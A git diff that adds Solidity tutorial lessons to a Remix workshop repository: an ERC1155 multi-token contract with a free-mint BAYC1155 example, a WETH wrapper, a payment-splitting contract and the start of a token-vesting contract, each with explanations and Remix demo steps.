{TransferSingle} event. + * Require: + * - to cannot be 0 address. + * - from has enough balance and the caller has authorization + * - If it is a smart contract, it must support IERC1155Receiver-onERC1155BatchReceived. + * - ids and amounts arrays have equal length + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // The caller is the holder or authorized + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require( + ids.length == amounts.length, + "ERC1155: ids and amounts length mismatch" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + + // Update balance through for loop + for (uint256 i = 0; i < ids.length; ++i) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require( + fromBalance >= amount, + "ERC1155: insufficient balance for transfer" + ); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + // Security check + _doSafeBatchTransferAcceptanceCheck( + operator, + from, + to, + ids, + amounts, + data + ); + } + + /** + * @dev Mint function + * Release the {TransferSingle} event. + */ + function _mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + + address operator = msg.sender; + + _balances[id][to] += amount; + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck( + operator, + address(0), + to, + id, + amount, + data + ); + } + + /** + * @dev Batch mint function + * Release the {TransferBatch} event. + */ + function _mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + require( + ids.length == amounts.length, + "ERC1155: ids and amounts length mismatch" + ); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + _balances[ids[i]][to] += amounts[i]; + } + + emit TransferBatch(operator, address(0), to, ids, amounts); + + _doSafeBatchTransferAcceptanceCheck( + operator, + address(0), + to, + ids, + amounts, + data + ); + } + + /** + * @dev destroy + */ + function _burn(address from, uint256 id, uint256 amount) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + + address operator = msg.sender; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + + emit TransferSingle(operator, from, address(0), id, amount); + } + + /** + * @dev batch destruction + */ + function _burnBatch( + address from, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + require( + ids.length == amounts.length, + "ERC1155: ids and amounts length mismatch" + ); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require( + fromBalance >= amount, + "ERC1155: burn amount exceeds balance" + ); + unchecked { + _balances[id][from] = fromBalance - amount; + } + } + + emit TransferBatch(operator, from, address(0), ids, amounts); + } + + // @dev ERC1155 security transfer check + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) private { + if (to.isContract()) { + try + IERC1155Receiver(to).onERC1155Received( + operator, + from, + id, + amount, + data + ) + returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155 Receiver implementer"); + } + } + } + + // @dev ERC1155 batch security transfer check + function _doSafeBatchTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) private { + if (to.isContract()) { + try + IERC1155Receiver(to).onERC1155BatchReceived( + operator, + from, + ids, + amounts, + data + ) + returns (bytes4 response) { + if ( + response != IERC1155Receiver.onERC1155BatchReceived.selector + ) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155 Receiver implementer"); + } + } + } + + /** + * @dev Returns the uri of the id type token of ERC1155, stores metadata, similar to the tokenURI of ERC721. + */ + function uri( + uint256 id + ) public view virtual override returns (string memory) { + string memory baseURI = _baseURI(); + return + bytes(baseURI).length > 0 + ? string(abi.encodePacked(baseURI, id.toString())) + : ""; + } + + /** + * Calculate the BaseURI of {uri}, uri is splicing baseURI and tokenId together, which needs to be rewritten by development. + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} +``` + +## `BAYC`, but as `ERC1155` + +We have made some modifications to the boring apes `BAYC` by changing it to `BAYC1155` which now follows the `ERC1155` standard and allows for free minting. The `_baseURI()` function has been modified to ensure that the `uri` for `BAYC1155` is the same as the `tokenURI` for `BAYC`. This means that `BAYC1155` metadata will be identical to that of boring apes. + +```solidity +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC1155.sol"; + +contract BAYC1155 is ERC1155 { + uint256 constant MAX_ID = 10000; + + // Constructor + constructor() ERC1155("BAYC1155", "BAYC1155") {} + + // BAYC's baseURI is ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // Mint function + function mint(address to, uint256 id, uint256 amount) external { + // id cannot exceed 10,000 + require(id < MAX_ID, "id overflow"); + _mint(to, id, amount, ""); + } + + // Batch mint function + function mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts + ) external { + // id cannot exceed 10,000 + for (uint256 i = 0; i < ids.length; i++) { + require(ids[i] < MAX_ID, "id overflow"); + } + _mintBatch(to, ids, amounts, ""); + } +} +``` + +## Remix Demo + +### 1. Deploy the `BAYC1155` Contract +![Deploy](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/40_ERC1155_en/step1/img/40-1.jpg) + +### 2. View Metadata `URI` +![View metadata](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/40_ERC1155_en/step1/img/40-2.jpg) + +### 3. `mint` and view position changes +In the `mint` section, enter the account address, `id`, and quantity, and click the `mint` button to mint. If the quantity is `1`, it is a non-fungible token; if the quantity is greater than `1`, it is a fungible token. + +![mint1](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/40_ERC1155_en/step1/img/40-3.jpg) + +In the `blanceOf` section, enter the account address and `id` to view the corresponding position. + +![mint2](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/40_ERC1155_en/step1/img/40-4.jpg) + +### 4. Batch `mint` and view position changes + +In the "mintBatch" section, input the "ids" array and the corresponding quantity to be minted. The length of both arrays must be the same. +To view the recently minted token "id" array, input it as shown. + +Similarly, in the "transfer" section, we transfer tokens from an address that already owns them to a new address. This address can be a normal address or a contract address; if it is a contract address, it will be verified whether it has implemented the "onERC1155Received()" receiving function. +Here, we transfer tokens to a normal address by inputting the "ids" and corresponding "amounts" arrays. +To view the changes in holdings of the address to which tokens were just transferred, select "view balances". + +## Summary + +In this lesson, we learned about the `ERC1155` multi-token standard proposed by Ethereum's `EIP1155`. It allows for a contract to include multiple homogeneous or heterogeneous tokens. Additionally, we created a modified version of the Bored Ape Yacht Club (BAYC) - `BAYC1155`: an `ERC1155` token containing 10,000 tokens with the same metadata as BAYC. Currently, `ERC1155` is primarily used in GameFi. However, I believe that as metaverse technology continues to develop, this standard will become increasingly popular. diff --git a/SolidityBasics_Part3_Applications/step11/WETH.sol b/SolidityBasics_Part3_Applications/step11/WETH.sol new file mode 100644 index 000000000..8e169627d --- /dev/null +++ b/SolidityBasics_Part3_Applications/step11/WETH.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract WETH is ERC20 { + // Events: deposits and withdrawals + event Deposit(address indexed dst, uint wad); + event Withdrawal(address indexed src, uint wad); + + // Constructor, initialize the name of ERC20 + constructor() ERC20("WETH", "WETH") {} + + // Callback function, when the user transfers ETH to the WETH contract, the deposit() function will be triggered + fallback() external payable { + deposit(); + } + + // Callback function, when the user transfers ETH to the WETH contract, the deposit() function will be triggered + receive() external payable { + deposit(); + } + + // Deposit function, when the user deposits ETH, mint the same amount of WETH for him + function deposit() public payable { + _mint(msg.sender, msg.value); + emit Deposit(msg.sender, msg.value); + } + + // Withdrawal function, the user destroys WETH and gets back the same amount of ETH + function withdraw(uint amount) public { + require(balanceOf(msg.sender) >= amount); + _burn(msg.sender, amount); + payable(msg.sender).transfer(amount); + emit Withdrawal(msg.sender, amount); + } +} diff --git a/SolidityBasics_Part3_Applications/step11/img/41-1.gif b/SolidityBasics_Part3_Applications/step11/img/41-1.gif new file mode 100644 index 000000000..8787b5d91 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-1.gif differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-2.jpg b/SolidityBasics_Part3_Applications/step11/img/41-2.jpg new file mode 100644 index 000000000..efaba7b10 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-2.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-3.jpg b/SolidityBasics_Part3_Applications/step11/img/41-3.jpg new file mode 100644 index 000000000..9e6a13220 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-3.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-4.jpg b/SolidityBasics_Part3_Applications/step11/img/41-4.jpg new file mode 100644 index 000000000..978bb3263 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-4.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-5.jpg b/SolidityBasics_Part3_Applications/step11/img/41-5.jpg new file mode 100644 index 000000000..27619f861 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-5.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-6.jpg b/SolidityBasics_Part3_Applications/step11/img/41-6.jpg new file mode 100644 index 000000000..2fd0e5ea8 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-6.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-7.jpg b/SolidityBasics_Part3_Applications/step11/img/41-7.jpg new file mode 100644 index 000000000..6d26265e6 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-7.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/img/41-8.jpg b/SolidityBasics_Part3_Applications/step11/img/41-8.jpg new file mode 100644 index 000000000..8cba58f1d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step11/img/41-8.jpg differ diff --git a/SolidityBasics_Part3_Applications/step11/step1.md b/SolidityBasics_Part3_Applications/step11/step1.md new file mode 100644 index 000000000..c8ab0d595 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step11/step1.md @@ -0,0 +1,138 @@ +--- +title: 41. WETH +tags: + - solidity + - application + - ERC20 + - fallback +--- + +# WTF Solidity Crash Course: 41. WETH + +I am currently re-learning Solidity to refresh my knowledge and create a "WTF Solidity Crash Course" for beginners to use (advanced programmers may find other resources more suitable). A new lesson will be added each week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +All code and tutorials are open-sourced on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +In this lecture, we will learn about `WETH` - the wrapped version of `ETH`. + +## What is `WETH`? + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-1.gif) + +`WETH` (Wrapped ETH) is a wrapped version of `ETH`. The commonly seen `WETH`, `WBTC`, and `WBNB` are all wrapped native tokens. Why do we need to wrap them? + +In 2015, the [ERC20](https://github.com/AmazingAng/WTF-Solidity/blob/main/20_SendETH/readme.md) standard was introduced, which aimed to establish a set of standard rules for tokens on Ethereum, simplifying the release of new tokens and making all tokens on the blockchain comparable to each other. Unfortunately, Ether itself does not adhere to the `ERC20` standard. The development of `WETH` is to improve interoperability between blockchains and allow the use of `ETH` in decentralized applications (dApps). It is like putting a smart contract's clothing on the native token: when the clothing is put on, it becomes `WETH`, complying with the `ERC20` standard for fungible tokens, and can be used for dApps and cross-chain transfer. When the clothing is taken off, it can be exchanged 1:1 for `ETH`. + +## The `WETH` Contract + +The currently used [mainnet `WETH` contract](https://rinkeby.etherscan.io/token/0xc778417e063141139fce010982780140aa0cd5ab?a=0xe16c1623c1aa7d919cd2241d8b36d9e79c1be2a2) was written in 2015, and is very old, with solidity version 0.4. We will rewrite a `WETH` contract using version 0.8. + +`WETH` complies with the `ERC20` standard and has two additional features compared to a typical `ERC20` contract: + +1. Deposit: Wrapping - users deposit `ETH` into the `WETH` contract and receive an equivalent amount of `WETH`. +2. Withdrawal: Unwrapping - users destroy `WETH` and receive an equivalent amount of `ETH`. + +```sol +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract WETH is ERC20 { + // Events: deposits and withdrawals + event Deposit(address indexed dst, uint wad); + event Withdrawal(address indexed src, uint wad); + + // Constructor, initialize the name of ERC20 + constructor() ERC20("WETH", "WETH") {} + + // Callback function, when the user transfers ETH to the WETH contract, the deposit() function will be triggered + fallback() external payable { + deposit(); + } + + // Callback function, when the user transfers ETH to the WETH contract, the deposit() function will be triggered + receive() external payable { + deposit(); + } + + // Deposit function, when the user deposits ETH, mint the same amount of WETH for him + function deposit() public payable { + _mint(msg.sender, msg.value); + emit Deposit(msg.sender, msg.value); + } + + // Withdrawal function, the user destroys WETH and gets back the same amount of ETH + function withdraw(uint amount) public { + require(balanceOf(msg.sender) >= amount); + _burn(msg.sender, amount); + payable(msg.sender).transfer(amount); + emit Withdrawal(msg.sender, amount); + } +} +``` + +### Inheritance + +`WETH` conforms to the `ERC20` token standard, so the `WETH` contract inherits from the `ERC20` contract. + +### Events + +The `WETH` contract has `2` events: + +1. `Deposit`: Triggered when a deposit is made. +2. `Withdraw`: Triggered when a withdrawal is made. + +### Functions + +In addition to the `ERC20` standard functions, the `WETH` contract has `5` additional functions: + +- Constructor: Initializes the name and symbol of `WETH`. +- Callback functions: `fallback()` and `receive()`. When a user sends `ETH` to the `WETH` contract, these functions are automatically triggered to execute the `deposit()` function, which mints equivalent `WETH` tokens. +- `deposit()`: Allows a user to deposit `ETH` and mint the equivalent amount of `WETH`. +- `withdraw()`: Allows a user to burn `WETH` tokens and receive back an equivalent amount of `ETH`. + +## `Remix` Demonstration + +### 1. Deploy the `WETH` contract + +Deploy the `WETH` contract as shown in the image. + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-2.jpg) + +### 2. Execute `deposit` to deposit `1 ETH`, and check the `WETH` balance + +Execute the `deposit` function to deposit `1 ETH`, and check the `WETH` balance. + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-3.jpg) + +At this point, the `WETH` balance is `1 WETH`. + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-4.jpg) + +### 3. Transfer `1 ETH` directly to the `WETH` contract, and check the `WETH` balance + +Transfer `1 ETH` directly to the `WETH` contract, and check the `WETH` balance. + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-5.jpg) + +At this point, the `WETH` balance is `2 WETH`. + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-6.jpg) + +### 4. Call `withdraw` to withdraw `1.5 ETH`, and check the `WETH` balance + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-7.jpg) + +At this point, the `WETH` balance is `0.5 WETH`. + +![WETH](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/41_WETH_en/step1/img/41-8.jpg) + +## Summary + +In this tutorial, we introduced `WETH` and implemented the `WETH` contract. It's like putting a smart contract on top of the native `ETH`: when you put on the contract, it becomes `WETH`, which conforms to the `ERC20` standard for homogeneous tokens, can be used across chains, and can be used for `dApps`; when you take off the contract, it can be exchanged with `ETH` at a 1:1 ratio. diff --git a/SolidityBasics_Part3_Applications/step12/PaymentSplit.sol b/SolidityBasics_Part3_Applications/step12/PaymentSplit.sol new file mode 100644 index 000000000..c7d0260b0 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step12/PaymentSplit.sol @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * PaymentSplit + * @dev This contract will distribute the received ETH to several accounts according to the pre-determined share.Received ETH will be stored in PaymentSplit, and each beneficiary needs to call the release() function to claim it. + */ +contract PaymentSplit { + // event + event PayeeAdded(address account, uint256 shares); // Event for adding a payee + event PaymentReleased(address to, uint256 amount); // Event for releasing payment to a payee + event PaymentReceived(address from, uint256 amount); // Event for receiving payment to the contract + + uint256 public totalShares; // Total shares of the contract + uint256 public totalReleased; // Total amount of payments released from the contract + + mapping(address => uint256) public shares; // Mapping to store the shares of each payee + mapping(address => uint256) public released; // Mapping to store the amount of payments released to each payee + address[] public payees; // Array of payees + + /** + * @dev Constructor to initialize the payees array (_payees) and their shares (_shares). + * The length of both arrays cannot be 0 and must be equal. + Each element in the _shares array must be greater than 0, + and each address in _payees must not be a zero address and must be unique. + */ + constructor(address[] memory _payees, uint256[] memory _shares) payable { + // Check that the length of _payees and _shares arrays are equal and not empty + require( + _payees.length == _shares.length, + "PaymentSplitter: payees and shares length mismatch" + ); + require(_payees.length > 0, "PaymentSplitter: no payees"); + // Call the _addPayee function to update the payees addresses (payees), their shares (shares), and the total shares (totalShares) + for (uint256 i = 0; i < _payees.length; i++) { + _addPayee(_payees[i], _shares[i]); + } + } + + /** + * @dev Callback function, receive ETH emit PaymentReceived event + */ + receive() external payable virtual { + emit PaymentReceived(msg.sender, msg.value); + } + + /** + * @dev Splits funds to the designated payee address "_account". Anyone can trigger this function, but the funds will be transferred to the "_account" address. + * Calls the "releasable()" function. + */ + function release(address payable _account) public virtual { + // The "_account" address must be a valid payee. + require(shares[_account] > 0, "PaymentSplitter: account has no shares"); + // Calculate the payment due to the "_account" address. + uint256 payment = releasable(_account); + // The payment due cannot be zero. + require(payment != 0, "PaymentSplitter: account is not due payment"); + // Update the "totalReleased" and "released" amounts for each payee. + totalReleased += payment; + released[_account] += payment; + // transfer + _account.transfer(payment); + emit PaymentReleased(_account, payment); + } + + /** + * @dev Calculate the eth that an account can receive. + * The pendingPayment() function is called. + */ + function releasable(address _account) public view returns (uint256) { + // Calculate the total income of the profit-sharing contract + uint256 totalReceived = address(this).balance + totalReleased; + // Call _pendingPayment to calculate the amount of ETH that account is entitled to + return pendingPayment(_account, totalReceived, released[_account]); + } + + /** + * @dev According to the payee address `_account`, the total income of the distribution contract `_totalReceived` and the money received by the address `_alreadyReleased`, calculate the `ETH` that the payee should now distribute. + */ + function pendingPayment( + address _account, + uint256 _totalReceived, + uint256 _alreadyReleased + ) public view returns (uint256) { + // ETH due to account = Total ETH due - ETH received + return + (_totalReceived * shares[_account]) / + totalShares - + _alreadyReleased; + } + + /** + * @dev Add payee_account and corresponding share_accountShares. It can only be called in the constructor and cannot be modified. + */ + function _addPayee(address _account, uint256 _accountShares) private { + // Check that _account is not 0 address + require( + _account != address(0), + "PaymentSplitter: account is the zero address" + ); + // Check that _accountShares is not 0 + require(_accountShares > 0, "PaymentSplitter: shares are 0"); + // Check that _account is not duplicated + require( + shares[_account] == 0, + "PaymentSplitter: account already has shares" + ); + // Update payees, shares and totalShares + payees.push(_account); + shares[_account] = _accountShares; + totalShares += _accountShares; + // emit add payee event + emit PayeeAdded(_account, _accountShares); + } +} diff --git a/SolidityBasics_Part3_Applications/step12/img/42-1.webp b/SolidityBasics_Part3_Applications/step12/img/42-1.webp new file mode 100644 index 000000000..89f221da1 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step12/img/42-1.webp differ diff --git a/SolidityBasics_Part3_Applications/step12/img/42-2.png b/SolidityBasics_Part3_Applications/step12/img/42-2.png new file mode 100644 index 000000000..046acffb4 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step12/img/42-2.png differ diff --git a/SolidityBasics_Part3_Applications/step12/img/42-3.png b/SolidityBasics_Part3_Applications/step12/img/42-3.png new file mode 100644 index 000000000..fe9353f6d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step12/img/42-3.png differ diff --git a/SolidityBasics_Part3_Applications/step12/img/42-4.png b/SolidityBasics_Part3_Applications/step12/img/42-4.png new file mode 100644 index 000000000..70b24a44c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step12/img/42-4.png differ diff --git a/SolidityBasics_Part3_Applications/step12/img/42-5.png b/SolidityBasics_Part3_Applications/step12/img/42-5.png new file mode 100644 index 000000000..89bd896b8 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step12/img/42-5.png differ diff --git a/SolidityBasics_Part3_Applications/step12/img/42-6.png b/SolidityBasics_Part3_Applications/step12/img/42-6.png new file mode 100644 index 000000000..8b849cefe Binary files /dev/null and b/SolidityBasics_Part3_Applications/step12/img/42-6.png differ diff --git a/SolidityBasics_Part3_Applications/step12/step1.md b/SolidityBasics_Part3_Applications/step12/step1.md new file mode 100644 index 000000000..995759414 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step12/step1.md @@ -0,0 +1,216 @@ +--- +title: 42. Payment Splitting +tags: + - solidity + - application +--- + +# WTF Solidity Crash Course: 42. Payment Splitting + +I have been relearning solidity recently to solidify some of the details and to create a "WTF Solidity Crash Course" for beginners (advanced programmers can seek other tutorials). New lectures will be updated every week, ranging from 1 to 3. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +All codes and tutorials are open-sourced on Github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +In this lecture, we'll introduce the payment-splitting contract, which allows the transfer of `ETH` to a group of accounts according to their respective weights for payment-splitting purposes. The code section is a simplification of the PaymentSplitter contract provided by the OpenZeppelin library, which can be found on [Github](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol). + +## Payment Split + +Payment split is the act of dividing money according to a certain ratio. In real life, it is common to encounter situations where the spoils are not divided equally. However, in the world of blockchain, `Code is Law`, we can write the proportion that each person should get in the smart contract in advance, and let the smart contract handle the split of income. + +![Payment Split](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/42_PaymentSplit_en/step1/img/42-1.webp) + +## Payment Split Contract + +The Payment Split contract (`PaymentSplit`) has the following features: + +1. When creating the contract, the beneficiaries `payees` and their share `shares` are predetermined. +2. The shares can be equal or in any other proportion. +3. From all the ETH that the contract receives, each beneficiary can withdraw the amount proportional to their allocated share. +4. The Payment Split contract follows the `Pull Payment` pattern, where payments are not automatically transferred to the account but are kept in the contract. Beneficiaries trigger the actual transfer by calling the `release()` function. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * PaymentSplit + * @dev This contract will distribute the received ETH to several accounts according to the pre-determined share.Received ETH will be stored in PaymentSplit, and each beneficiary needs to call the release() function to claim it. + */ +contract PaymentSplit { +``` + +### Events + +There are a total of `3` events in the Splitter Contract: + +- `PayeeAdded`: Event for adding a payee. +- `PaymentReleased`: Event for payee withdrawing funds. +- `PaymentReceived`: Event for Splitter Contract receiving funds. + +```solidity + // event + event PayeeAdded(address account, uint256 shares); // Event for adding a payee + event PaymentReleased(address to, uint256 amount); // Event for releasing payment to a payee + event PaymentReceived(address from, uint256 amount); // Event for receiving payment to the contract +``` + +### State Variables + +There are `5` state variables in the revenue-splitting contract, used to record beneficiary addresses, shares, and paid-out `ETH`: + +- `totalShares`: Total shares, which is the sum of `shares`. +- `totalReleased`: The amount of `ETH` paid out from the revenue splitting contract to beneficiaries, which is the sum of `released`. +- `payees`: An `address` array that records the addresses of beneficiaries. +- `shares`: An `address` to `uint256` mapping that records the shares of each beneficiary. +- `released`: An `address` to `uint256` mapping that records the amount paid to each beneficiary by the revenue splitting contract. + +```solidity + uint256 public totalShares; // Total shares of the contract + uint256 public totalReleased; // Total amount of payments released from the contract + + mapping(address => uint256) public shares; // Mapping to store the shares of each payee + mapping(address => uint256) public released; // Mapping to store the amount of payments released to each payee + address[] public payees; // Array of payees +``` + +### Functions + +There are `6` functions in the revenue-sharing contract: + +- Constructor: initializes the beneficiary array `_payees` and the revenue sharing array `_shares`, where the length of both arrays must not be 0 and their lengths must be equal. Elements of the \_shares array must be greater than 0, and the addresses in the \_payees array can't be the zero address and can't have a duplicate address. +- `receive()`: callback function, releases the `PaymentReceived` event when the revenue sharing contract receives `ETH`. +- `release()`: revenue sharing function, distributes the corresponding `ETH` to the valid beneficiary address `_account`. Anyone can trigger this function, but the `ETH` will be transferred to the beneficiary address `_account`. Calls the releasable() function. +- `releasable()`: calculates the amount of `ETH` that a beneficiary address should receive. Calls the `pendingPayment()` function. +- `pendingPayment()`: calculates the amount of `ETH` that the beneficiary should receive based on their address `_account`, the revenue sharing contract's total income `_totalReceived`, and the money they have already received `_alreadyReleased`. +- `_addPayee()`: function to add a new beneficiary and their sharing percentage. It is called during the initialization of the contract and cannot be modified afterwards. + +```solidity + + /** + * @dev Constructor to initialize the payees array (_payees) and their shares (_shares). + * The length of both arrays cannot be 0 and must be equal. + Each element in the _shares array must be greater than 0, + and each address in _payees must not be a zero address and must be unique. + */ + constructor(address[] memory _payees, uint256[] memory _shares) payable { + // Check that the length of _payees and _shares arrays are equal and not empty + require( + _payees.length == _shares.length, + "PaymentSplitter: payees and shares length mismatch" + ); + require(_payees.length > 0, "PaymentSplitter: no payees"); + // Call the _addPayee function to update the payees addresses (payees), their shares (shares), and the total shares (totalShares) + for (uint256 i = 0; i < _payees.length; i++) { + _addPayee(_payees[i], _shares[i]); + } + } + + /** + * @dev Callback function, receive ETH emit PaymentReceived event + */ + receive() external payable virtual { + emit PaymentReceived(msg.sender, msg.value); + } + + /** + * @dev Splits funds to the designated payee address "_account". Anyone can trigger this function, but the funds will be transferred to the "_account" address. + * Calls the "releasable()" function. + */ + function release(address payable _account) public virtual { + // The "_account" address must be a valid payee. + require(shares[_account] > 0, "PaymentSplitter: account has no shares"); + // Calculate the payment due to the "_account" address. + uint256 payment = releasable(_account); + // The payment due cannot be zero. + require(payment != 0, "PaymentSplitter: account is not due payment"); + // Update the "totalReleased" and "released" amounts for each payee. + totalReleased += payment; + released[_account] += payment; + // transfer + _account.transfer(payment); + emit PaymentReleased(_account, payment); + } + + /** + * @dev Calculate the eth that an account can receive. + * The pendingPayment() function is called. + */ + function releasable(address _account) public view returns (uint256) { + // Calculate the total income of the profit-sharing contract + uint256 totalReceived = address(this).balance + totalReleased; + // Call _pendingPayment to calculate the amount of ETH that account is entitled to + return pendingPayment(_account, totalReceived, released[_account]); + } + + /** + * @dev According to the payee address `_account`, the total income of the distribution contract `_totalReceived` and the money received by the address `_alreadyReleased`, calculate the `ETH` that the payee should now distribute. + */ + function pendingPayment( + address _account, + uint256 _totalReceived, + uint256 _alreadyReleased + ) public view returns (uint256) { + // ETH due to account = Total ETH due - ETH received + return + (_totalReceived * shares[_account]) / + totalShares - + _alreadyReleased; + } + + /** + * @dev Add payee_account and corresponding share_accountShares. It can only be called in the constructor and cannot be modified. + */ + function _addPayee(address _account, uint256 _accountShares) private { + // Check that _account is not 0 address + require( + _account != address(0), + "PaymentSplitter: account is the zero address" + ); + // Check that _accountShares is not 0 + require(_accountShares > 0, "PaymentSplitter: shares are 0"); + // Check that _account is not duplicated + require( + shares[_account] == 0, + "PaymentSplitter: account already has shares" + ); + // Update payees, shares and totalShares + payees.push(_account); + shares[_account] = _accountShares; + totalShares += _accountShares; + // emit add payee event + emit PayeeAdded(_account, _accountShares); + } +} +``` + +## Remix Demo + +### 1. Deploy the `PaymentSplit` contract and transfer `1 ETH` + +In the constructor, enter two beneficiary addresses with shares of `1` and `3`. + +![Deploying the contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/42_PaymentSplit_en/step1/img/42-2.png) + +### 2. View beneficiary addresses, shares, and `ETH` to be distributed + +![Viewing the first beneficiary](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/42_PaymentSplit_en/step1/img/42-3.png) + +![Viewing the second beneficiary](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/42_PaymentSplit_en/step1/img/42-4.png) + +### 3. Call the `release` function to claim `ETH` + +![Calling the release function](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/42_PaymentSplit_en/step1/img/42-5.png) + +### 4. View overall expenses, beneficiary balances, and changes in `ETH` to be distributed + +![View](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/42_PaymentSplit_en/step1/img/42-6.png) + +## Summary + +In this lecture, we introduced the revenue-sharing contract. In the world of blockchain, `Code is Law`, we can write the proportion that each person should receive in the smart contract beforehand. After receiving revenue, the smart contract will handle revenue sharing to avoid the issue of "unequal distribution of shares" afterwards. diff --git a/SolidityBasics_Part3_Applications/step13/TokenVesting.sol b/SolidityBasics_Part3_Applications/step13/TokenVesting.sol new file mode 100644 index 000000000..c5cb7d216 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step13/TokenVesting.sol @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.0; + +import "../31_ERC20_en/ERC20.sol"; + +/** + * @title ERC20 token linear release" + * @dev This contract releases the ERC20 tokens linearly to the beneficiary `_beneficiary`. + * The released 